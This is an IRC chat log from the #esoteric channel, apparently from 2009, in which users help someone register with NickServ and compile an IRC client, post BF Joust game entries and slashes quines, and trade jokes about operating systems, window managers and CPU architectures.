TOPICLEN=450 KICKLEN=450 KEYLEN=23 USERLEN=10 HOSTLEN=63 SILENCE=50 :are supported by this server 22:58:47 O thanks that helps. 22:58:49 that contains the modes ... somewhere 22:59:22 i vaguely recall it's that long alphabet list 22:59:43 or wait there's also the CHANMODES list 22:59:48 * oerjan is not sure 23:00:29 lambdabot was nice, it told about messages when you talked again 23:00:33 I can't send by MemoServ because I am not log in 23:00:42 but of course it only works for the channels it's in 23:00:50 zzo38: oh 23:01:21 Can someone else try to send the message to them (using any method of communication) about this FlogScript one day later on when you think it is a good time to do so? 23:01:24 zzo38: why not log in? 23:01:27 zzo38: well that sort of makes sense, since otherwise it would be a way around the flag (which is mostly antispam measure, i think) 23:01:39 Because I can't log in. 23:01:43 zzo38: why not? 23:01:53 PRIVMSG NickServ :REGISTER insertapasswordhere 23:01:55 then in future 23:02:00 PRIVMSG NickServ :IDENTIFY insertthepasswordhere 23:02:06 or when you connect 23:02:08 PASS insertthepasswordhere 23:02:09 I have the user and nick command, I try help but they don't list the command of login do I need a password also 23:02:15 See above 23:02:20 zzo38: you log in by sending a private message to NickSer 23:02:22 *NickServ 23:02:27 ais523: or PASS on login 23:02:37 yes, or by using PASS before USER and NICK on login 23:02:59 Do I need to give the password at both the connection and NickServ? Maybe I can try to get help of NickServ 23:03:00 zzo38: but you need to register with NickServ before the PASS will work later 23:03:17 zzo38: one or the other 23:03:21 zzo38: no just one once you have it up and running 23:03:24 O, there's the help message 23:03:29 but you need to create your account with NickServ, you can't create an account during connection 23:04:26 What necessary information is there to know before creating the account? Does it expire sometimes, or anything else that would be relevant to know 23:04:40 zzo38: it expires after 60 days unused 23:04:48 iirc 23:04:52 oerjan: not quite 23:05:02 So I would need to register again? Do I need e-mail to register 23:05:05 on Freenode, it expires if it's unused for 60 days, and someone requests it to be expired 23:05:13 well that too 23:05:17 and you don't need an email to register here, or at least didn't when I registered 23:05:33 O, so only if someone requests it after 60 days. 23:05:34 my nick was someone else's expired nick when i joined 23:05:53 Now, how to compile rawirc in Windows so that it can use color-codes and stuff like that (but make it compatible with Linux also)? 23:06:13 zzo38: you can register you email to get sent a new password if you forget it though, iirc 23:06:16 *your 23:07:14 I want to make rawirc run on Windows and including display asterisks if you type in the PASS command, I don't want it to display my password on the screen 23:07:42 I would use rawirc if I can compile it. On Linux it would be easy to compile but I don't currently have Linux 23:08:11 * oerjan knows nothing about rawirc 23:09:34 oerjan: Gregor wrote it. 23:09:40 -!- KingOfKarlsruhe has quit (Remote closed the connection). 23:09:43 zzo38: you'd have to modify it 23:09:46 instead of justcompiling it 23:09:49 rawirc is a simple C program with escape codes for colors. But Windows doesn't have escape codes for colors, and anyways it is a bit harder to compile a C program on Windows because you have to check for correct library and stuff like that. Or, will it compile correctly on Cygwin? I have Cygwin also. 23:09:54 It's basically telnet with IRC highlighting and a couple of shortcuts for common IRC commands. 23:10:04 ehird, I was close to googling that reference before remembering where I saw it from 23:10:05 zzo38: Windows can handle VT-100 escape codes in its terminal 23:10:12 Oh, rawirc highlights? 23:10:13 zzo38: I'd imagine it'd work right in Cygwin. 23:10:32 ehird: That's half the point. 23:10:44 If I just go to Cygwin and use the gcc command will it work, or does it need to be indicated the library to link with? 23:10:54 pikhq: Does rawirc automatically talk to the current channel if your command is inapplicable? That's basically the only thing I need in a client :P 23:10:57 zzo38: No libraries are used. 23:10:58 zzo38: -levent 23:11:04 oh. 23:11:05 ehird: No. 23:11:07 okay then :P 23:11:11 gcc rawirc.c -levent -o rawirc 23:11:34 OK thanks for telling me what parameters it need 23:11:51 It's in the comment block at the start. 23:12:30 ehird: No it doesn't talk to current channel automatically. IFMUD does do that and I really don't like that feature of IFMUD. In IFMUD a " mark indicates saying text so I don't want to repeat the command that is wrong to public 23:12:56 Yeah, but it's irritating having to type PRIVMSG #esoteric : all the time. 23:13:16 -!- cscotta has joined. 23:13:20 ehird: I think rawirc even currently push CTRL+P for the macro PRIVMSG so that you don't have to type every time 23:13:34 Ctrl-P #esoteric :is still pretty bad 23:13:35 cscotta: Hi. 23:13:40 You new? from reddit? impomatic's blog? 23:13:42 I know in the Windows command window it accepts F2 to repeat up to and not including the indicated character (a colon in this case). 23:13:49 Wild guess that. 23:13:56 it worked your message to me <-- there is a mode for it. +E iirc 23:14:06 AnMaster: as oerjan said before and after 23:14:19 ah 23:14:20 Still, I will improve rawirc with the ability to write more macros in the configuration file, so that you can make macro for more things. 23:14:30 ehird: Hi - yep, saw it on the blog via proggit. Figured I'd drop in to check out the madness ;-). 23:14:52 cscotta: Currently, it's incredibly broken, in that it retains the 10 _worst_ programs, and the score display is all wrong 23:14:59 It'd be fixed, except GregorR-L seems to be sleeping or something. 23:15:05 haha - nice touch! 23:15:15 However, if you want to compete with the worst programs, feel free. !bfjoust program code, and http://codu.org/eso/bfjoust/report.txt 23:15:40 In netcat I just type F2 colon colon to get the writing "PRIVMSG #esoteric :" repeated for me if that is the last command, and if it isn't I will use arrow keys to select one 23:15:48 if this is BF then your mods are probably all by 256 and you may want to be doing all the calculation in (mod 256) arithmetic <-- yep. And yes division and mod are hairy. I don't even know how to detect loops that do that yet. I just want to be prepared for when I do. esotope-bfc's Expr class can theoretically handle / and mod too, but last I looked such expressions were never generated iirc 23:15:55 ehird: thanks. working on another project at the moment, but i'll check it out. 23:16:00 cscotta: :) 23:16:17 But only windows netcat. On Linux it is necessary to use readline library 23:16:33 And I'm not even sure what the special key-codes are for readline library anyways. 23:16:38 Arrow keys. 23:16:41 And stuff. 23:16:47 Ctrl-A for start of line, Ctrl-E for end. 23:16:50 Up goes up in history, down down. 23:16:54 Left and right go left and right. 23:17:09 Can it do like F2 in Windows does? I'm just curious 23:17:30 It's exactly what F2 does on Windows, I think. ais523 might know. 23:17:55 I don't know what F2 does in Windows 23:17:57 in particular 23:18:02 it tends to differ from program to program 23:18:14 and I don't know what it does in Windows terminal 23:18:30 cscotta: also, [[e:BF Joust]] is the rules 23:18:33 -!- psygnisfive has quit (Read error: 113 (No route to host)). 23:18:50 err, http://esolangs.org/wiki/BF_Joust 23:19:00 -!- ais523 has set topic: We Conjure the Spirits of the Computer with our Spells | You mean we've been on reddit /twice/ now? | http://tunes.org/~nef/logs/esoteric/?C=N;O=D. 23:19:09 Three times, maybe. 23:19:17 Also, impomatic was on reddit. 23:19:19 We were indirect. 23:19:20 -!- impomatic has joined. 23:19:27 Hi :-) 23:19:37 hi impomatic 23:19:38 ah the villain appears 23:19:49 the hill's been "fixed" to be finite 23:19:49 ais523: http://www.reddit.com/domain/esolangs.org 23:19:54 5 at least 23:19:58 plus 1, for impomatic's 23:19:58 also 23:19:59 I've told him 23:20:01 ehird: #esoteric the channel, I mean 23:20:02 in /msg 23:20:07 and I told him on his blog 23:20:53 :-) 23:21:09 no I didn't 23:21:17 I tried, but then I realised I could never get blogspot to work 23:21:35 heh, one of those submissions was me 23:21:39 ais523: enable JS 23:21:44 http://www.reddit.com/r/esolangs/ ← terribly popular 23:21:47 ais523, ehird more: http://www.reddit.com/domain/esoteric.voxelperfect.net 23:21:57 AnMaster: true 'nuf 23:21:58 Oh? It works in most browsers. Should even allow anonymous replies 23:22:09 impomatic: ais523 is probably using w3m or lynx or something 23:22:16 or some firefox extension like NoHTML or something 23:22:35 doesn't work in Firefox (even messing with NoScript to allow things) or Epiphany default install 23:22:59 er, does for me 23:23:02 you mean doesn't work on your firefox 23:23:13 Finite is good :-) At least the rubbish programs will get pushed off instead of sitting there forever 23:23:23 impomatic: the good programs, you mean 23:23:26 due to the brokenosity 23:23:29 well, atm the good programs are getting pushed off 23:23:38 -!- psygnisfive has joined. 23:24:30 Like, even, removing first line of input with FlogScript program )(; 23:24:43 And to duplicate each line: ".P, 23:24:53 ais523: http://www.rottytooth.com/velatotracks/print_h_5.mid ← sounds even nicer than the forte hello world 23:24:56 I've got copies of all the programs from yesterday 23:25:12 Back later 23:25:40 ehird: the forte one is shorter, I think 23:25:46 i don't care 23:25:48 this one is prettier 23:25:52 it's a different style 23:25:54 I like them both 23:25:56 One day I will use Linux instead. But not today. However I don't like the one that already exist so I will write my own Linux distribution and window manager and stuff like that. 23:26:08 zzo38: have fun with that 23:26:16 But not today. 23:26:35 I even wrote my own web-browser software so probably I can write a window-manager also 23:26:52 is modifying an existing browser a bit really making a web browser from scratch? 23:26:56 It helps to start using Linux so you have reason to write a window manager. 23:26:59 but the hard part is the whole distribution thing 23:27:03 will you write your own package manager too? 23:27:08 and a complete set of packages? 23:27:10 -!- Gracenotes has joined. 23:27:11 and a build farm? 23:27:14 O, and I should also write the widget-set, it could be based on the original Xaw widget set, but you can't tell the difference very easily each widget so I can use colors for tell the difference 23:27:25 What's a build farm 23:27:26 ehird: A package manager isn't hard to do. 23:27:31 Granted, a *good* one is damned hard... 23:27:44 zzo38: by making your own widget set, you have just made every other application in the world not fit in with the widget set. 23:27:49 zzo38: You are reinventing the wheel poorly. 23:27:58 zzo38: i propose that you invent your own computer and electronics too 23:28:03 also, fundamental physics 23:28:04 actually, firefox will try to use native widgets, I think 23:28:07 even for icons, etc 23:28:15 ais523: i doubt it'll do that if he makes up his own widget set. 23:28:22 it could be fun if it did, though 23:28:35 my guess is it'll try, but not necessarily succeed 23:28:43 ais523: it has a predefined set of widget sets 23:28:44 ais523: That's because Firefox has Cocoa, GTK+, and Win32 widget backends for XUL. 23:28:46 not any heuristics or anything 23:28:59 (Qt widgets are a work in progress) 23:29:32 And my own Linux will have no icons. We don't need any icons. And scroll-bar can be left-mouse-button to up/left, right-mouse-button right/down, middle to select the exact position. And the window decoration needs only one thing, a title bar with no icons or buttons. You can different click, single or double and keyboard modifier keys to change function. Also use LOGO+other keys for commands in the window manager 23:29:53 zzo38: Ohhhkay have fun with that I'll see you in a few years. 23:30:01 zzo38: What benefit do you get out of using Linux? 23:30:15 pikhq: Presumably he can't micromanage Windows. 23:30:16 LOGO in the window manager? 23:30:20 You're writing everything but Linux, GCC, Gas, make, autoconf, autotools, and coreutils. 23:30:21 ais523: he means windows logo key 23:30:25 ah 23:30:26 And X. 23:30:29 I like my interpretation better 23:30:39 zzo38: X is the thing that manages windows and drives the display and graphics card 23:30:42 ... At which point, why even keep X? 23:30:42 you want to rewrite that too, right? 23:30:46 It sucks. 23:30:56 :o 23:31:04 Linux is much better than Windows and Linux is even FOSS also! But I don't like the modern widget-sets and modern window-managers and stuff so therefore I have to write my own. But I can make improvement of it, like color to indicate what type of widget it is, and so on. 23:31:27 By LOGO I mean the LOGO key (also called the WINDOWS key or the WIN key) 23:31:39 zzo38: it's called "super" on Linux 23:31:45 Everything is still using X so therefore X should still be used 23:32:04 zzo38: everything's using non-zzo38-widgets 23:32:10 so therefore they should be used instead too 23:32:21 everything's also using non-zzo38 window managers, too 23:32:29 And the CONTEXT key (also called the APPLICATION key by Microsoft documentation, but I call it the CONTEXT key) called something else in Linux? 23:32:37 window manager doesn't normally matter for compatibility, though 23:32:40 ... context key? 23:32:42 unless it tries to do compositing 23:32:43 WUT 23:32:49 zzo38: That's the menu key. 23:32:54 oh. 23:32:55 ehird: it's the one with a symbol looking like a mouse pointing at a menu 23:32:59 how on earth is that a "context" ke 23:32:59 y 23:33:06 zzo38: I don't know what it's called 23:33:06 zzo38, you can't be serious 23:33:09 ehird: Pulls up the context menu. 23:33:09 ehird: "context menu key" 23:33:12 AnMaster: zzo38 is always serious :-) 23:33:25 But if I can change the keyboard I would just write the words LOGO and CONTEXT on those keys instead of having pictures which may be trademarked or copyrighted 23:33:33 haha 23:33:34 a key saying logo 23:33:38 to represent a logo being on it 23:33:40 without a logo 23:33:42 brillant 23:33:53 ehird: deliberate misspelling? 23:34:04 zzo38: With all the effort this will involve, why bother writing it on Linux? 23:34:05 ehird, btw, I know someone more extreme than me: 23:34:05 Write it on Plan 9. 23:34:05 It needs a good DE. 23:34:05 ;) 23:34:07 ais523: Paula Bean 23:34:13 pikhq: Hey, rio is perfect. 23:34:16 ehird, AnMaster, everything I need a window manager to do is spawn me a terminal or two AnMaster, everything can be launched from a terminal and that also doesn't require some cryptic menus or some such moving *shudder* mouse 23:34:18 Or near perfect, at least. 23:34:19 yes, I know what the typo means, but it's like the AGAINT thing 23:34:23 ehird: As a window manager, sure. 23:34:29 if a typo has its own meaning, but is plausible, how do you know if someone meant to make it? 23:34:30 AnMaster: that's the thoughtprocess behind ratpoison. 23:34:41 ehird, Zaba uses dwm though 23:34:44 AnMaster: mouse-haters should be shot. by mice 23:34:49 With different window-manager and widgets and stuff, other software on Linux and with X can still work OK. But if it is not X then it will stop working. 23:34:50 mice with guns 23:35:03 ais523: you can't. I vote AGAINT your thought process 23:35:08 zzo38: why don't you port Cygwin to Linux? 23:35:17 that way you can emulate X, for X-dependent programs 23:35:17 ais523: ... 23:35:22 The universe just exploded. 23:35:27 I don' 23:35:34 ehird: after all, WINE's been ported to Windows... 23:35:47 zzo38: Y'know, the alternative graphics layers implement X. 23:35:47 There is no point to port Cygwin to Linux, just recompile the program on Linux and it should work 23:35:59 What are "alternative graphics layers" 23:36:08 Y Windows, DirectFB. 23:36:11 ehird, also he is always concerned about having un-needed apps installed. Trying to remove everything un-needed. All the time. (Personally I only clean up no longer used programs and such when disk space starts getting low... about twice / year) 23:36:29 AnMaster: sounds like a person obsessed with administrivia 23:36:43 ehird, definitely. 23:37:00 AnMaster: just don't let him know about this place and I'll be just fine 23:37:04 Sounds like a person that just needs to shut up and use Gentoo. 23:37:16 pikhq, he *does* use Gentoo 23:37:23 yeah Ic ould have guessed that 23:37:26 has about 100 packages in world. 23:37:28 he's exactly the type to use gentoo 23:37:30 ... 23:37:31 Emphasis on the "shut up" bit. 23:37:33 100 packages? 23:37:39 That's a really minimal Debian server install. 23:37:45 ehird: Not including dependencies. 23:37:51 you sure, pikhq? 23:37:57 yes 23:38:00 kay 23:38:22 wow, people actually use directfb 23:38:37 ehird, on gentoo the world file is a list of packages you installed explicitly. 23:38:37 I seem to have 363 packages in world. 23:38:48 # wc -l /var/lib/portage/world 23:38:48 507 /var/lib/portage/world 23:38:50 is what I have 23:38:55 Porting WINE to Windows is a bit useful because some of the stuff is used in ReactOS also 23:39:15 zzo38: not just that, some windows programs work better in WINE than in Windows 23:39:38 I've used mingw on os x befor 23:39:38 e 23:39:39 Zaba, what about looking at images. AnMaster, usually, fbi from fbida, but when in X, feh browsing the web? AnMaster, mostly w3m, but when in X, firefox 23:39:41 :D 23:39:42 ais523: Yes, sometimes it actually does. And I don't know why 23:39:46 and mingw is a port of gcc to windows 23:39:48 that's rare though 23:39:53 I used it to compile a program for a windows user 23:39:55 yes, he doesn't normally use X even 23:40:01 AnMaster: agh 23:40:04 AnMaster: can I stab him? 23:40:14 ehird: I encourage it. 23:40:35 pikhq: thank you for your support. can I have a stabbing device? 23:40:48 if you like pointless ports, I'll point out that mingw's been ported to cygwin 23:41:02 * pikhq tosses ehird a comprehensive documentation on C++ and a knife 23:41:03 ehird, he is actually quite nice to talk with when he doesn't talk about such things. Like when he talks about C programming or other stuff instead. 23:41:13 The C++ documentation is for optional bludgeoning after you stab. 23:41:21 pikhq: thank you 23:41:21 ehird, I will tell him about dvtm next time I see him! 23:41:31 AnMaster: i can imagine his attitude to c programming 23:41:36 remove everything but inline assembly! 23:41:41 that's all I need a c compiler to do 23:41:42 ehird, the opposite 23:41:43 no cryptic manuals 23:41:46 Must make IOCCC seem sane. 23:41:47 or *shudder* command line options 23:41:52 ehird, portable, clean code. Hates macros. 23:42:06 AnMaster: Ooh boy. Please, sir, point me in his direction. 23:42:10 AnMaster: The one is damned hard to do without the other. 23:42:12 I am absolutely not not not not going to stab him. 23:42:49 At bare minimum, you need macros to get dynamic libraries to work with both Win32 and !Win32. 23:43:00 pikhq, with macros I meant #define foo(...), that is function like macros 23:43:05 pikhq: Win32 doesn't count as an operating system!!11111111111 23:43:11 A PROGRAM IS PORTABLE IF IT WORKS ON BSD 4.3 23:43:13 as opposed to very trivial #include/#ifdef 23:43:14 for pdp-11 23:43:14 ehird: It's an API. 23:43:21 the only True OS. 23:43:30 ehird, I think he uses FreeBSD 7.x on his other computer 23:43:41 AnMaster: Then he has massive ifdefs at every function declaration? 23:43:46 ehird, that other computer being a headless mac mini acting as a server! 23:43:56 (insane yes) 23:43:59 ... 23:44:01 mac mini? 23:44:02 pikhq, don't think so 23:44:04 I can't imagine him buying a mac. 23:44:09 I really can't. 23:44:13 -!- calamari has joined. 23:44:20 ehird, he lives in Russia. Sometimes stuff is hard to get hold of there. 23:44:25 AnMaster: otoh, linus torvalds' wife owns a mac mini 23:44:27 (running linux) 23:44:28 So I guess he took what he found. 23:44:28 AnMaster: Then it's not very portable. 23:44:29 read it on his blahg 23:44:42 AnMaster: they make good servers too 23:44:43 pikhq, portable == C89 for him probably. 23:44:50 -!- zzo38 has quit (Read error: 104 (Connection reset by peer)). 23:44:51 ehird, who? Apple? Sure 23:44:54 AnMaster: Then it doesn't work on Windows. 23:44:54 very low power consumption, very low noise, very small, etc 23:44:56 AnMaster: no, i mean 23:44:58 ehird, but I remember he said it was second hand 23:44:58 mac minis make good servers 23:45:27 C on Windows has somewhat screwy semantics for dynamic libraries. ;) 23:45:50 [...]Windows[...]has[...]screwy semantics[...] 23:46:00 ehird: That too. 23:46:53 AnMaster: So, how *does* he handle declspec? 23:47:04 pikhq, he doesn't make libraries iirc 23:47:15 lol 23:47:16 C[...]has[...]screwy semantics 23:47:18 that's a nice way to solve the problem 23:47:19 or rather, not dynamic ones 23:47:26 by nice i mean reeeeeeeeetarded 23:47:30 AnMaster: So how does he handle declspec(import)? 23:47:56 Does he not use dynamic libraries, either? 23:48:10 AnMaster: do you know why linux framebuffer bootup has two logos? 23:48:11 ehird, as in, he hasn't had any reason to so far iirc... He is about 4 years older than you iirc 23:48:12 instead of just one 23:48:24 ehird, err... I haven't seen logo in fb for ages 23:48:26 hm 17, yeah I'd guess 23:48:30 maybe I disabled it 23:48:34 ehird, ~17 yes 23:48:35 ehird: That means you have two processors. 23:48:37 maybe 18 23:48:37 very 17 sort of mode of talking 23:48:39 pikhq: oh, does it? 23:48:41 heh 23:48:47 oooh 23:48:48 It shows a penguin for each processor. 23:48:53 that explains it 23:48:53 a tuz, actually. 23:48:56 tazmanian devil 23:48:58 pikhq, so I have 0 processors? 23:49:01 for the new rc :P 23:49:06 pikhq: what if you have 8 processors (= hyperthreading) 23:49:07 Oh, you have that version. 23:49:09 does it go off the screen :D 23:49:12 pikhq, or I just disabled fb logo in kernel maybe... 23:49:15 and no, I don't have any version 23:49:16 ehird: It might. 23:49:33 ehird, it might cover the entire output? :D 23:49:36 ehird: Tuz is for only one version. ;) 23:49:45 tuz is cuter than tux. 23:50:09 ehird: Now that you brought that up, I want to see the bootup process for a 32-core system. 23:50:14 :p 23:50:42 yep, one logo per processor 23:50:44 going home, anyway 23:50:45 -!- ais523 has quit (Remote closed the connection). 23:50:45 :P 23:50:55 -!- cscotta has quit. 23:52:17 -!- impomatic has left (?). 23:53:39 i want to go back to like the 90s 23:53:54 and get one of the fledgling distributed OS's— plan9, say 23:54:07 -!- FireFly has quit ("Later"). 23:54:08 and get like five 386s (one needs to have at least 16MB of ram!) 23:54:12 and set it up with ethernet 23:54:40 -!- BeholdMyGlory has quit (Remote closed the connection). 23:57:08 * pikhq has discovered the screwiest C-related language. 23:57:11 Objective-C++. 23:57:31 pikhq: It's designed for interfacing C++ code w/ obj-c 23:57:36 like using c++ libraries in a mac app 23:57:36 ehird: Yes. 23:57:47 It's still hilariously screwy. 23:59:02 -!- calamari has quit (Read error: 60 (Operation timed out)). 2009-05-24: 00:14:04 -!- calamari has joined. 00:37:13 -!- Sgeo has quit (Read error: 110 (Connection timed out)). 00:37:35 -!- inurinternet has quit (No route to host). 00:44:33 !bfjoust coppro_flipflop (+-)*256[>[-].+] 00:44:34 Score for coppro_flipflop: -3 (maximum 11) 00:45:32 !bfjoust coppro_flipflopagain []+.-[>[-].+] 00:45:34 !bfjoust impomatic_shortsword (>++>--)*2(>)*6([-[+]]>)*20 00:45:43 Score for impomatic_shortsword: -5 (maximum 12) 00:45:51 Score for coppro_flipflopagain: -7 (maximum 11) 00:46:53 dammit shortsword 00:50:38 is it fixed yet 00:53:21 no 00:53:45 hmm. 00:54:14 I don't think that shortsword is easily killable 01:01:08 -!- M0ny has quit ("Read error: 182 (Connection reset by beer)"). 01:01:49 !bfjoust oerjan_attempt1 (>-->+>--)*2(>)*4([-[+]]>)*20 01:01:54 Score for oerjan_attempt1: -4 (maximum 11) 01:03:06 night 01:03:32 !help bfjoust 01:03:33 Sorry, I have no help for bfjoust! 01:04:58 oerjan: go here: 01:05:03 http://codu.org/eso/bfjoust/report.txt 01:05:11 8 | + + + + 0 + 0 + + 0 | 72.0| 7| oerjan_attempt1.bfjoust 01:05:17 !bfjoust impomatic_shortsword (>++>--)*2(>)*6([-[+]]>)*20 01:05:23 (just putting shortsword against yours - the current king) 01:05:24 Score for impomatic_shortsword: -4 (maximum 11) 01:05:26 *pitting 01:05:57 shouldn't there be an in_egobot in there? 01:05:58 oerjan: Congrats, you have a challenger to shortsword. 01:06:00 Also, nope. 01:06:04 that works too though 01:06:10 oerjan: I can't get yours and impomatic's on the same hill 01:06:11 due to goodness 01:06:17 but his gets 6 on the hill yours gets 7 01:06:42 yay 01:07:07 well i constructed it specifically to beat it 01:07:42 switching + and - will probably beat me again 01:08:06 oerjan: it doesn't beat shortswor 01:08:07 d 01:08:08 they can't battle 01:08:12 due to the hill kicking off good ones 01:08:13 oh 01:08:14 but on the hill of crapness 01:08:17 yours does better 01:08:23 heh :D 01:08:29 oh that's even better then 01:09:13 hm... 01:09:15 oerjan: but the crap hill just suicides very creatively 01:09:23 ic 01:09:29 mostly 01:24:16 so what should i do with this p4 with 512mb ram? 01:29:16 bsmntbombdood: hook it up to your new computer 01:29:23 and use it as a 9th cpu 01:29:26 *core 01:29:28 *thread 01:29:28 *w/ 01:29:29 e 01:30:30 bsmntbombdood: Stick Xen on it and on your main system. 01:30:43 Migrate VMs back and forth. 01:34:37 eeeeeeh 01:37:38 bsmntbombdood: turn green 01:37:44 bsmntbombdood: or, use it as a router/server 01:37:46 or, throw it out 01:37:48 or, give it to me 01:39:45 I need a better router. 01:40:00 :p 01:40:12 pikhq: Buy a Linksys linux one and put OpenWRT on it. 01:40:23 Tiny, efficient, mini linux box already set up to do all that shit. 01:40:26 Simple. :P 01:40:46 ehird: But that, and, ... IT DOESNT DO x86! 01:40:47 :p 01:40:56 * pikhq currently uses a PII as a router. 01:41:06 pikhq: not doing x86 is a huge plus! 01:41:08 Has the following benefits: cost me nothing. 01:41:17 The probably-RISC architecture they use is probably way better. 01:41:25 also, my linksys cost about £35 01:41:28 It's an ARM. 01:41:31 and it wasn't the cheapest 01:41:39 ~$50 01:42:03 Sure. But my current router is a massive, cheap Debian box. 01:42:35 And it has a whole 10G hard drive space. :p 01:42:43 pikhq: You said you needed something better. 01:42:46 I gave you something way better ;) 01:42:53 ehird: I was joking. 01:43:01 :P 01:43:06 [[Are you struggling with unwanted same-sex attractions? Maybe you have lived as a homosexual for a long time, but now are looking for a way out. You have come to the right place! For thirty years, Exodus International has offered hope and help to people seeking freedom from homosexuality. We believe and we have seen in thousands of lives that this freedom is possible through the power of God working in our hearts and minds. 01:43:09 The bottom line - you don't have to be gay! You can lead a life of fulfillment and holiness as God intended, a life far better than what you have experienced so far.]] 01:43:15 Ahh, some quackery with my... nighttime... lack of coffee. 01:43:22 Well sheesh, that phrase failed badly. 01:43:29 Though if I had a P4 as a router, I'd be able to use it for distcc. 01:43:36 Which'd be kinda funny. 01:43:37 pikhq: Why does it require P4 01:43:38 ? 01:43:57 ehird: It doesn't, it just requires something speedy *enough* that I'd get a benefit out of it. 01:44:02 heh 01:44:24 Especially since it'd most likely be a cross-compiler. 01:44:40 Erm. 01:44:42 That is irrelevant. 01:44:47 Yes. 01:44:47 It is. 01:44:58 gcc targetting x86_64 is just as fast as targetting x86. 01:45:13 Which is just as fast as it targetting, say, PDP11. 01:45:27 With the BSD ABI instead of the Sys V one. 01:45:35 pikhq: actually, more complex architectures may take more time 01:45:55 ehird: x86_64 isn't significantly more complex than x86, anyways. 01:46:00 So in that case, it's irrelevant. 01:46:00 ;) 01:46:07 x86 vs pdp11 01:46:19 (in a way, it's simpler. More registers makes the register allocation very happy) 01:47:52 there's still a ridiculously small amount of registers 01:47:52 Speaking of. That's the best thing about x86_64. More registers. 01:48:09 bsmntbombdood: Yes, but less ridiculously so. 01:48:21 the best thing? 01:48:34 They didn't do much else. 01:48:47 64-bit addresses. Whoo. 01:48:52 the large address space is also very important 01:49:02 It'd be much nicer if they, say, decided to go for 64 registers, though. 01:49:02 and 64 bit ops are faster 01:49:21 Oh, right. They also added 64-bit arithmetic. 01:49:31 Which is nice. 01:49:44 sha512 is faster than sha256 on a 64 bit processor 01:49:48 Though it has one major flaw. 01:49:54 It remains x86. 01:49:55 other way around on a 32 bit processor 01:50:20 Imagine if it had a completely different instruction set in long mode? :p 01:50:49 i want to become an intel strategist and devise a plan to replace x86 incrementally 01:51:03 one step at a time so nobody knows what's hitting the, 01:51:04 m 01:51:07 x86 isn't that bad, is it? 01:51:13 I want to become an AMD strategist so I can coordinate. 01:51:16 mostly it's the backwards compatibility that sucks 01:51:51 bsmntbombdood: And its backwards compatibility is the reason for everything in it. 01:52:18 pikhq: 'cept, if Intel makes popular extensions to x86, AMD pretty much has to adopt it 01:52:23 if AMD proposes something, Intel will just ignore it 01:52:33 brb 01:52:36 er i mean 01:52:36 Except in the case of x86_64. 01:52:36 by 01:52:37 e 01:53:04 ehird: By "coordinate", I mean convince AMD that it's a good idea at the same time you convince Intel it's a good idea. 01:53:08 For everything. 01:53:26 does either company make anything non x86? 01:53:27 So that x86 is replaced without *anyone* knowing what's hitting them. 01:53:30 :p 01:53:48 bsmntbombdood: Intel makes Itanium and a number of microcontrollers. 01:53:57 oh, right, itanium 01:54:16 AMD makes a series of common vector processors under the brand of ATi. 01:54:23 http://en.wikipedia.org/wiki/File:Itanium_Sales_Forecasts_edit.png 01:54:28 gpus don't count 01:55:27 They used to make some MIPS chips; that division got sold off in 2006. 01:56:44 * pikhq does a spit-take at AMDs future plans 01:56:51 You know the northbridge? 01:56:55 AMD Fusion won't. 01:57:32 do you want to put pci in the core then? 01:57:46 because that's all that the northbridge does for a core i7 01:58:28 AMD Fusion has PCIe lanes coming off of it. 01:59:01 meh 01:59:04 It also has a GPU on the die. 01:59:27 oh amd fusion is an actual thing 01:59:38 Yes. 01:59:53 i thought you were talking about what you would do 02:00:26 Not now. 02:00:33 Talking about what AMD is doing. 02:01:11 putting the gpu and the cpu in the same package is going to require one badass heatsink 02:04:32 300 watts... 02:05:56 Yeah. 02:12:17 !slashes http://oerjan.nvg.org/esoteric/slashes/quine.sss 02:12:22 ////\\/\\\/\\\/\\\/\\\\\\\\\\\/////\//\////\////\///\////\///\////\///\////\///\///\///\///\////\///\///\///\///\///\///\///\////\///\///\///\///\///\///\///\////\///\///\///\///\///\///\///\////\///\///\///\///\///\///\///\///\///\///\///\///\///\///\///\///\///\///\///\///\///\///\////\////\///\////\///\////\///\////\///\///\///\////\///\////\///\///\////\////\////\////\///\////\///\////\////\///\////\////\///\////\///\////\///\////\///\///\///\//// 02:13:00 EgoBot: you cheater you cut it off ;( 02:13:45 -!- Gracenotes has changed nick to Vorschlagsnoten. 02:23:13 -!- Taejo has joined. 02:25:03 !bfjoust taejo.simplexity (>->+)*5[[-]>-] 02:25:05 Score for taejo_simplexity: -3 (maximum 11) 02:35:10 !bfjoust taejo.simplexity2 (>-->+)*5[[-]>-] 02:35:12 Score for taejo_simplexity2: -3 (maximum 11) 02:35:44 !bfjoust taejo.simplexity (>->+)*5[[-]>-] 02:35:50 Score for taejo_simplexity: -5 (maximum 11) 02:36:20 !bfjoust why? (+)*1234567890 02:36:50 o_O 02:36:53 Score for why_: -7 (maximum 11) 02:37:02 i am trying to figure out how to sort a register of 4 floats with sse 02:49:47 -!- Taejo has quit ("Leaving"). 02:53:00 http://www.daisyowl.com/comic_images/132.gif 02:53:00 Recursive beans 02:53:48 as long as it isn't turtles 03:45:54 oerjan 03:46:02 psygnisfive 03:46:11 dont the first three slashes produce no change?? 03:46:29 infact, wouldnt it loop infinitely? 03:46:30 um 03:46:35 http://en.wikipedia.org/wiki/Blum_Blum_Shub 03:46:37 heh 03:46:41 //... should swap nothing for nothing in ... 03:46:46 erg 03:46:48 ///... 03:46:56 indeed, EgoBot cannot have given the right output 03:48:36 the actual first command is /\/\/\/\\\\/\\\\\\\/\\\\\\\/\\\\\\\/\\\\\\\\\\\\\\\\\\\\\\/ 03:48:54 O_O; 03:49:13 the whole quine is 1496 characters iirc 03:50:46 * Vorschlagsnoten takes note (>._.)ø 03:50:51 awwz. 03:51:00 Vorschlagsnoten: hm? 03:51:18 nothing. just an alias I apparently made a while ago 03:52:13 !slashes quine 03:52:14 quine 03:52:35 i know that 03:52:37 :P 03:52:59 there was already a /// quine on the wiki, but it was in the "cheating" section 03:53:03 so i made a real one 03:56:33 !slashes http://oerjan.nvg.org/esoteric/slashes/counter2.sss 03:56:36 * 03:57:14 it doesn't do that DCC thing... 03:57:36 !show slashes 03:57:56 !slashes http://oerjan.nvg.org/esoteric/slashes/counter2.sss 03:58:22 grmble 04:00:01 anyway the quine works perfectly from a shell, says diff 04:48:11 -!- sebbu2 has joined. 05:00:50 -!- oerjan has quit ("leaving"). 05:02:11 -!- sebbu has quit (Read error: 110 (Connection timed out)). 05:39:27 -!- pikhq has quit (Read error: 104 (Connection reset by peer)). 06:29:08 -!- Vorschlagsnoten has changed nick to Gracenotes. 07:26:54 -!- psygnisfive has quit (Read error: 113 (No route to host)). 07:59:59 -!- clog has quit (ended). 